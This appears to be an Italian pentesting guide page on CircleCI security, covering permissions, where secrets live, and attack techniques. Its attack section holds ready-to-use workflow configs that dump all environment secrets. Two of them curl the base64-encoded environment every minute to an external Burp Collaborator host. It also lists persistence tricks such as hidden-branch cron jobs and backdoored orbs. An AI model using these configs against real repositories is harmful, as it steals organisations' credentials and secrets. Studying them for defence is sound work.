# Sicurezza di CircleCI

{{#include ../banners/hacktricks-training.md}}

### Informazioni di base

[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) è una piattaforma di Integrazione Continua dove puoi **definire modelli** che indicano cosa vuoi che faccia con del codice e quando farlo. In questo modo puoi **automatizzare i test** o **le distribuzioni** direttamente **dal tuo ramo master del repo**, per esempio.

### Permessi

**CircleCI** **eredita i permessi** da github e bitbucket relativi all'**account** che effettua il login.\
Nei miei test ho verificato che finché hai **permessi di scrittura sul repo in github**, sarai in grado di **gestire le impostazioni del progetto in CircleCI** (impostare nuove chiavi ssh, ottenere chiavi api del progetto, creare nuovi rami con nuove configurazioni CircleCI...).

Tuttavia, devi essere un **admin del repo** per **convertire il repo in un progetto CircleCI**.

### Variabili Env & Segreti

Secondo [**la documentazione**](https://circleci.com/docs/2.0/env-vars/) ci sono diversi modi per **caricare valori nelle variabili di ambiente** all'interno di un workflow.

#### Variabili env integrate

Ogni container eseguito da CircleCI avrà sempre [**variabili env specifiche definite nella documentazione**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) come `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` o `CIRCLE_USERNAME`.

#### Testo chiaro

Puoi dichiararle in testo chiaro all'interno di un **comando**:
```yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
```
Puoi dichiararli in testo chiaro all'interno dell'**ambiente di esecuzione**:
```yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
```
Puoi dichiararli in testo chiaro all'interno dell'**ambiente di build-job**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
Puoi dichiararli in testo chiaro all'interno dell'**ambiente di un contenitore**:
```yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
```
#### Segreti del Progetto

Questi sono **segreti** che saranno **accessibili** solo dal **progetto** (da **qualsiasi ramo**).\
Puoi vederli **dichiarati in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_

![](<../images/image (129).png>)

> [!CAUTION]
> La funzionalità "**Importa Variabili**" consente di **importare variabili da altri progetti** a questo.

#### Segreti di Contesto

Questi sono segreti che sono **a livello di org**. Per **default, qualsiasi repo** sarà in grado di **accedere a qualsiasi segreto** memorizzato qui:

![](<../images/image (123).png>)

> [!TIP]
> Tuttavia, nota che un gruppo diverso (invece di Tutti i membri) può essere **selezionato per dare accesso ai segreti solo a persone specifiche**.\
> Questo è attualmente uno dei migliori modi per **aumentare la sicurezza dei segreti**, per non consentire a tutti di accedervi ma solo ad alcune persone.

### Attacchi

#### Cerca Segreti in Testo Chiaro

Se hai **accesso al VCS** (come github) controlla il file `.circleci/config.yml` di **ogni repo su ogni ramo** e **cerca** potenziali **segreti in testo chiaro** memorizzati lì.

#### Enumerazione di Variabili Env Segrete & Contesto

Controllando il codice puoi trovare **tutti i nomi dei segreti** che vengono **utilizzati** in ciascun file `.circleci/config.yml`. Puoi anche ottenere i **nomi dei contesti** da quei file o controllarli nella console web: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.

#### Esfiltrare Segreti del Progetto

> [!WARNING]
> Per **esfiltrare TUTTI** i **SECRETI** del progetto e del contesto, hai **solo** bisogno di avere accesso **SCRITTURA** a **solo 1 repo** nell'intera org di github (_e il tuo account deve avere accesso ai contesti, ma per default tutti possono accedere a ogni contesto_).

> [!CAUTION]
> La funzionalità "**Importa Variabili**" consente di **importare variabili da altri progetti** a questo. Pertanto, un attaccante potrebbe **importare tutte le variabili del progetto da tutti i repo** e poi **esfiltrare tutte insieme**.

Tutti i segreti del progetto sono sempre impostati nell'env dei lavori, quindi basta chiamare env e offuscarlo in base64 per esfiltrare i segreti nella **console del log web dei flussi di lavoro**:
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env
```
Se **non hai accesso alla console web** ma hai **accesso al repo** e sai che viene utilizzato CircleCI, puoi semplicemente **creare un workflow** che viene **attivato ogni minuto** e che **esfiltra i segreti a un indirizzo esterno**:
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
```
#### Esfiltrare i Segreti del Contesto

Devi **specificare il nome del contesto** (questo esfiltrerà anche i segreti del progetto):
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
```
Se non hai accesso alla console web ma hai accesso al repo e sai che CircleCI è utilizzato, puoi semplicemente modificare un workflow che viene attivato ogni minuto e che esfiltra i segreti a un indirizzo esterno:
```yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
```
> [!WARNING]
> Creare semplicemente un nuovo `.circleci/config.yml` in un repo **non è sufficiente per attivare una build di circleci**. Devi **abilitarlo come progetto nella console di circleci**.

#### Escape to Cloud

**CircleCI** ti offre l'opzione di eseguire **le tue build sulle loro macchine o sulle tue**.\
Per impostazione predefinita, le loro macchine si trovano in GCP, e inizialmente non sarai in grado di trovare nulla di rilevante. Tuttavia, se una vittima sta eseguendo i compiti **sulle proprie macchine (potenzialmente, in un ambiente cloud)**, potresti trovare un **endpoint di metadata cloud con informazioni interessanti**.

Nota che negli esempi precedenti è stato lanciato tutto all'interno di un contenitore docker, ma puoi anche **chiedere di avviare una macchina VM** (che potrebbe avere permessi cloud diversi):
```yaml
jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current
```
O anche un container docker con accesso a un servizio docker remoto:
```yaml
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
```
#### Persistenza

- È possibile **creare** **token utente in CircleCI** per accedere agli endpoint API con l'accesso degli utenti.
- _https://app.circleci.com/settings/user/tokens_
- È possibile **creare token di progetto** per accedere al progetto con i permessi dati al token.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- È possibile **aggiungere chiavi SSH** ai progetti.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- È possibile **creare un cron job in un ramo nascosto** in un progetto inaspettato che sta **leakando** tutte le variabili **context env** ogni giorno.
- O addirittura creare in un ramo / modificare un lavoro noto che **leak** tutte le informazioni di contesto e i **segreti dei progetti** ogni giorno.
- Se sei un proprietario di github puoi **consentire orbs non verificati** e configurarne uno in un lavoro come **backdoor**.
- Puoi trovare una **vulnerabilità di command injection** in alcuni task e **iniettare comandi** tramite un **segreto** modificando il suo valore.

{{#include ../banners/hacktricks-training.md}}
